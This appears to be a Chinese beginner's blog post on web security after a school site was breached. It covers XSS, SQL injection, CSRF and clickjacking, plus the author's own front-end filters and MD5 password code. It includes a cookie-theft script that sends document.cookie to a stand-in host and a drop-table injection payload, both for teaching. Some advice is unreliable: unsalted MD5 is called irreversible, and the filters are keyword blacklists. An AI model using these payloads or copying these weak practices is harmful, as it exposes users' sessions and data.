免費(fèi)AI編程助手
Web安全 前端JS表單驗(yàn)證過(guò)濾
前言
之前忙于做各種事情，已經(jīng)很久沒(méi)寫(xiě)過(guò)文章，最近接的一個(gè)學(xué)校的網(wǎng)站項(xiàng)目，近期被人用自動(dòng)腳本攻破了（笑...），因?yàn)槲覀兊谝淮巫鲞@種上線的項(xiàng)目，完全沒(méi)有意識(shí)到一些web安全的知識(shí)，所以就開(kāi)始了緊急的漏洞補(bǔ)救和防護(hù)措施。所以我就把近期學(xué)習(xí)的知識(shí)總結(jié)下。目前我水平有限，只能做一個(gè)初級(jí)認(rèn)識(shí)，讓一些剛?cè)胄凶錾暇€的實(shí)際項(xiàng)目的同學(xué)能有所警惕。
原因
安全小白
作為這個(gè)網(wǎng)站項(xiàng)目組長(zhǎng)，我是完全不知道這些安全隱患問(wèn)題的，團(tuán)隊(duì)的人員也沒(méi)有研究過(guò)這些，所以造成了這個(gè)情況，因?yàn)槲覀兪窃谛４髮W(xué)學(xué)生，確實(shí)學(xué)無(wú)余力來(lái)研究這些，希望對(duì)還未出社會(huì)的初學(xué)者提個(gè)醒。
web常見(jiàn)攻擊手段
我只會(huì)大概提及它的攻擊原理和預(yù)防方法，具體的實(shí)現(xiàn)和深入研究還請(qǐng)大家自行百度，因?yàn)橹挥姓嬲枰玫讲艜?huì)去詳細(xì)了解，這里我只為web安全小白做知識(shí)掃盲。因?yàn)椴┲髂壳敖佑|最多的服務(wù)端語(yǔ)言是JAVA所以例子都從java web項(xiàng)目來(lái)講。
跨站腳本攻擊（XSS）
雖然我們目前做的是一個(gè)博客的小網(wǎng)站，但是以后無(wú)論是自己的博客還是實(shí)際的項(xiàng)目，都可以用圖片來(lái)提供外鏈，方便管理，如果你的網(wǎng)站訪問(wèn)量很高啊，一天幾十萬(wàn)幾百萬(wàn)啊，我的天啊，這時(shí)候你考慮的就不是服務(wù)器空間夠不夠大，而是驚人的并發(fā)數(shù)啊，光是請(qǐng)求html文件（或其他）的鏈接就處理不過(guò)來(lái)了，哪還有多余的資源去讀取圖片啊，索性就把圖片存另一個(gè)服務(wù)器吧，給主服務(wù)器減輕壓力啊，于是圖床誕生了。
- 反射型XSS
它是通過(guò)誘使用戶打開(kāi)一個(gè)惡意鏈接，服務(wù)端將鏈接中參數(shù)的惡意代碼渲染到頁(yè)面中，再傳遞給用戶由瀏覽器執(zhí)行，從而達(dá)到攻擊的目的。如下面的鏈接：
http://a.com/a.jsp?name=xss<script>alert(1)</script>a.jsp將頁(yè)面渲染成下面的html：
Hello xss<script>alert(1)</script>這時(shí)瀏覽器將會(huì)彈出提示框。
這算是常見(jiàn)的一種方法，預(yù)防的話可以通過(guò)后臺(tái)編寫(xiě)方法來(lái)攔截過(guò)濾到這些非法或有攻擊性的字符。
- 持久型XSS
持久型XSS將惡意代碼提交給服務(wù)器，并且存儲(chǔ)在服務(wù)器端，當(dāng)用戶訪問(wèn)相關(guān)內(nèi)容時(shí)再渲染到頁(yè)面中，以達(dá)到攻擊的目的，它的危害更大。
比如，攻擊者寫(xiě)了一篇帶惡意JS代碼的博客，文章發(fā)表后，所有訪問(wèn)該博客文章的用戶都會(huì)執(zhí)行這段惡意JS。
這個(gè)相對(duì)來(lái)說(shuō)對(duì)我們開(kāi)發(fā)網(wǎng)站來(lái)說(shuō)不算重要，但是要小心攻擊者在你網(wǎng)站注入一些非法代碼，從而達(dá)到這個(gè)目的。
Cookie劫持
Cookie中一般保存了當(dāng)前用戶的登錄憑證，如果可以得到，往往意味著可直接進(jìn)入用戶帳戶，而Cookie劫持也是最常見(jiàn)的XSS攻擊。以上面提過(guò)的反射型XSS的例子來(lái)說(shuō)，可以像下面這樣操作：
首先誘使用戶打開(kāi)下面的鏈接：
http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>用戶打開(kāi)鏈接后，會(huì)加載b.js，并執(zhí)行b.js中的代碼。b.js中存儲(chǔ)了以下JS代碼：
var img = document.createElement("img");
img.src = "http://b.com/log?" + escape(document.cookie);
document.body.appendChild(img);上面的代碼會(huì)向b.com請(qǐng)求一張圖片，但實(shí)際上是將當(dāng)前頁(yè)面的cookie發(fā)到了b.com的服務(wù)器上。這樣就完成了竊取cookie的過(guò)程。
防御Cookie劫持的一個(gè)簡(jiǎn)單的方法是在Set-Cookie時(shí)加上HttpOnly標(biāo)識(shí)，瀏覽器禁止JavaScript訪問(wèn)帶HttpOnly屬性的Cookie。
XSS的防御
- 輸入檢查 對(duì)輸入數(shù)據(jù)做檢查，比如用戶名只允許是字母和數(shù)字，郵箱必須是指定格式。 一定要在后臺(tái)做檢查，否則數(shù)據(jù)可能繞過(guò)前端檢查直接發(fā)給服務(wù)器。 一般前后端都做檢查，這樣前端可以擋掉大部分無(wú)效數(shù)據(jù)。 對(duì)特殊字符做編碼或過(guò)濾，但因?yàn)椴恢垒敵鰰r(shí)的語(yǔ)境，所以可能會(huì)做不適當(dāng)?shù)倪^(guò)濾，最好是在輸出時(shí)具體情況具體處理。
- 輸出檢查
對(duì)渲染到HTML中內(nèi)容執(zhí)行HtmlEncode，對(duì)渲染到JavaScript中的內(nèi)容執(zhí)行JavascriptEncode。
另外還可以使用一些做XSS檢查的開(kāi)源項(xiàng)目。
SQL注入
SQL注入常常會(huì)聽(tīng)到，它與XSS類(lèi)似，是由于用戶提交的數(shù)據(jù)被當(dāng)成命令來(lái)執(zhí)行而造成的。下面是一個(gè)SQL注入的例子：
String sql = "select * from user where username = '" + username + "'";像上面的SQL語(yǔ)句，如果用戶提交的username參數(shù)是leo，則數(shù)據(jù)庫(kù)執(zhí)行的SQL為：
select * from user where username = 'leo'但如果用戶提交的username參數(shù)是leo’; drop table user–，那執(zhí)行的SQL為：
select * from user where username = 'leo'; drop table user--'在查詢(xún)數(shù)據(jù)后，又執(zhí)行了一個(gè)刪除表的操作，這樣的后果非常嚴(yán)重。
博主本人的網(wǎng)站就是主要被SQL注入導(dǎo)致網(wǎng)站數(shù)據(jù)庫(kù)受損
SQL注入的防御
防止SQL注入最好的方法是使用預(yù)編譯語(yǔ)句，如下面所示：
String sql = "select * from user where username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet results = pstmt.executeQuery();不同語(yǔ)言的預(yù)編譯方法不同，但基本都可以處理。
如果遇到無(wú)法使用預(yù)編譯方法時(shí)，只能像防止XSS那樣對(duì)參數(shù)進(jìn)行檢查和編碼。
博主后面會(huì)貼出自己完善項(xiàng)目的檢測(cè)代碼，就是對(duì)網(wǎng)站可以進(jìn)行數(shù)據(jù)提交的表單的輸入進(jìn)行SQL語(yǔ)句檢測(cè)。
跨站請(qǐng)求偽造（CSRF）
跨站請(qǐng)求偽造的英文全稱(chēng)是Cross Site Request Forgery，是由于操作所需的所有參數(shù)都能被攻擊者得到，進(jìn)而構(gòu)造出一個(gè)偽造的請(qǐng)求，在用戶不知情的情況下被執(zhí)行?？聪旅嬉粋€(gè)例子：
如果a.com網(wǎng)站需要用戶登錄后可以刪除博客，刪除博客的請(qǐng)求地址如下：
GET http://a.com/blog/delete?id=1當(dāng)用戶登錄a.com后，又打開(kāi)了http://b.com/b.html，其中有下面的內(nèi)容：
<img src="http://a.com/blog/delete?id=1" rel="external nofollow" />這時(shí)會(huì)以用戶在a.com的身份發(fā)送http://a.com/blog/delete?id=1，刪除那篇博客。
CSRF的防御
- 驗(yàn)證碼
CSRF是在用戶不知情的情況下構(gòu)造的網(wǎng)絡(luò)情況，驗(yàn)證碼則強(qiáng)制用戶與應(yīng)用交互，所以驗(yàn)證碼可以很好得防止CSRF。但不能什么請(qǐng)求都加驗(yàn)證碼。
- referer檢查
檢查請(qǐng)求header中的referer也能幫助防止CSRF攻擊，但服務(wù)器不是總能拿到referer，瀏覽器可能出于安全或隱私而不發(fā)送referer，所以也不常用。倒是圖片防盜鏈中用得很多。
- Anti CSRF Token
更多的是生成一個(gè)隨機(jī)的token，在用戶提交數(shù)據(jù)的同時(shí)提交這個(gè)token，服務(wù)器端比對(duì)后如果不正確，則拒絕執(zhí)行操作。
作為了解，一般前面的攻擊都過(guò)了，就可以造成此類(lèi)攻擊。
點(diǎn)擊劫持（ClickJacking）
點(diǎn)擊劫持是從視覺(jué)上欺騙用戶。攻擊者使用一個(gè)透明的iframe覆蓋在一個(gè)網(wǎng)頁(yè)上，誘使用戶在該網(wǎng)頁(yè)上操作，而實(shí)際點(diǎn)擊卻是點(diǎn)在透明的iframe頁(yè)面。
點(diǎn)擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。 點(diǎn)擊劫持的防御
針對(duì)iframe的攻擊，可使用一個(gè)HTTP頭：X-Frame-Options，它有三種可選值：
DENY： 禁止任何頁(yè)面的frame加載； SAMEORIGIN：只有同源頁(yè)面的frame可加載； ALLOW-FROM：可定義允許frame加載的頁(yè)面地址。
針對(duì)圖片覆蓋攻擊，則注意使用預(yù)防XSS的方法，防止HTML和JS注入。
作為了解，一般前面的攻擊都過(guò)了，就可以造成此類(lèi)攻擊。
我的方法
前言
我們負(fù)責(zé)的團(tuán)隊(duì)項(xiàng)目為學(xué)校網(wǎng)站制作，所以涉及到用戶輸入的地方都在后臺(tái)管理模塊，從后臺(tái)登錄界面開(kāi)始就應(yīng)該做一些防護(hù)措施了。
登錄的字符檢測(cè)
function validate(value) {
var pattern = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
if (value === '' || value === null) return false;
if (pattern.test(value)) {
alert("非法字符！");
return false;
}
return true;
}
function filterSqlStr(value) {
var str = "and,delete,or,exec,insert,select,union,update,count,*,',join,>,<";
var sqlStr = str.split(',');
var flag = true;
for (var i = 0; i < sqlStr.length; i++) {
if (value.toLowerCase().indexOf(sqlStr[i]) != -1) {
flag = false;
break;
}
}
alert(flag);
return flag;
}JS封裝的2個(gè)方法，用于返回布爾值來(lái)判斷是否通過(guò)。第一個(gè)為了過(guò)濾掉非法字符，第二個(gè)為了過(guò)濾有關(guān)數(shù)據(jù)庫(kù)操作的非法字符。
密碼MD5加密
//password Md5
public static String MD5Password(String oldstr) {
char hexDigits[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f' };
byte[] oldbytes = oldstr.getBytes();
try {
MessageDigest md = MessageDigest.getInstance("MD5");// 獲取對(duì)象
md.update(oldbytes);// 初始化對(duì)象
byte[] newBytes = md.digest();// 運(yùn)行加密算法
char[] newStr = new char[32];
for (int i = 0; i < 16; i++) {
byte temp = newBytes[i];
newStr[2 * i] = hexDigits[temp >>> 4 & 0xf];
newStr[2 * i + 1] = hexDigits[temp & 0xf];
}
return new String(newStr);
} catch (NoSuchAlgorithmException e) {
return null;
}
}通過(guò)在后臺(tái)對(duì)數(shù)據(jù)庫(kù)中，管理員的密碼進(jìn)行MD5加密然后存入加密后的字段進(jìn)去，在前臺(tái)通過(guò)加密前的字段輸入后在后臺(tái)進(jìn)行方法驗(yàn)證，實(shí)現(xiàn)MD5加密登錄。防止數(shù)據(jù)庫(kù)的密碼被暴露查詢(xún)出來(lái)。加密后無(wú)法被反解密出來(lái)。
后臺(tái)添加修改信息的字符檢測(cè)
同前臺(tái)登錄一樣的檢測(cè)方法，因?yàn)槲抑回?fù)責(zé)前臺(tái)檢測(cè)，如果黑客繞過(guò)了我的檢測(cè)，就要進(jìn)行后臺(tái)對(duì)數(shù)據(jù)傳過(guò)去的值進(jìn)行檢測(cè)，這時(shí)候就是后臺(tái)人員的工作了。所以前后臺(tái)都要進(jìn)行這些字符檢測(cè)，但是后臺(tái)的責(zé)任要重一點(diǎn)，因?yàn)閿?shù)據(jù)最終流向是在后臺(tái)服務(wù)器端，前臺(tái)只是初步防護(hù)而已。
驗(yàn)證碼和滑塊驗(yàn)證
驗(yàn)證碼字符驗(yàn)證
目前驗(yàn)證碼字符驗(yàn)證已經(jīng)逐漸推出舞臺(tái)，但是有一些專(zhuān)門(mén)這塊驗(yàn)證服務(wù)的第三方平臺(tái)，通過(guò)對(duì)驗(yàn)證碼字符的不斷改進(jìn)和更新，對(duì)一些攻擊者來(lái)說(shuō)還是有防護(hù)作用，但是個(gè)人或企業(yè)網(wǎng)站還是用的一塵不變的驗(yàn)證方法的話，就很容易被攻擊成功。很多初學(xué)者都在前臺(tái)瀏覽器客戶端用JS進(jìn)行字符驗(yàn)證，很容易被破解跳過(guò)。好點(diǎn)的就在服務(wù)器進(jìn)行檢驗(yàn)，但是還是能被一些黑客經(jīng)過(guò)長(zhǎng)期的經(jīng)驗(yàn)發(fā)明的一些工具破解。
這里就提及一下12306所推出的圖片驗(yàn)證，目前已經(jīng)被很多人報(bào)道也是不安全的，攻擊者可以直接將圖片處理后丟入google、百度的識(shí)圖接口，返回的數(shù)值讓人驚訝。
居然能把第二張圖識(shí)別為沙縣小吃，我是覺(jué)得目前的人工智能的圖像識(shí)別技術(shù)很厲害，所以要不了多久這種驗(yàn)證方式也會(huì)被淘汰，除非不斷更新圖片庫(kù)。
滑塊驗(yàn)證
滑塊驗(yàn)證和12306的圖片識(shí)別驗(yàn)證目前算是比較安全的驗(yàn)證手段，滑動(dòng)驗(yàn)證的核心并不是簡(jiǎn)單的拼接成功就可以過(guò)，所以也不是簡(jiǎn)單的算一下偏移量就能破解?；瑒?dòng)驗(yàn)證做的好的是通過(guò)采集你的滑動(dòng)過(guò)程軌跡與服務(wù)器端的海量樣本進(jìn)行對(duì)比，區(qū)分人還是機(jī)器，用到了很多深度學(xué)習(xí)的技術(shù)，當(dāng)然市面上也有一些滑動(dòng)驗(yàn)證只是前端拼接就能過(guò)，大家還是要多多研究一下。
反正如果項(xiàng)目需要用到驗(yàn)證碼這塊，不能考慮只在客戶端進(jìn)行JS驗(yàn)證，客戶端的JS驗(yàn)證有的前提下，還要把數(shù)據(jù)返回到后臺(tái)來(lái)進(jìn)行驗(yàn)證，這樣可以大概率保證網(wǎng)站安全性，網(wǎng)站的攻防一直是持久的話題，沒(méi)有絕對(duì)的安全也沒(méi)有絕對(duì)的攻擊。推薦大家多嘗試網(wǎng)上的第三方服務(wù)商提供的驗(yàn)證服務(wù)，這樣節(jié)省自己的精力來(lái)研究驗(yàn)證漏洞以及頻繁的更新驗(yàn)證方法。
End
在校期間第一次認(rèn)識(shí)到web安全重要性，目前只是初步的認(rèn)識(shí)，如果后面了解了更多相關(guān)的知識(shí)，會(huì)繼續(xù)做補(bǔ)充。關(guān)于hexo搭建的博客的技術(shù)應(yīng)該不會(huì)再出什么文章了，有需要了解其他的知識(shí)的，會(huì)有困難的可以聯(lián)系我或下方留言，然后看情況是否整理為一篇文章來(lái)集中回答幫助其他人。
更多建議：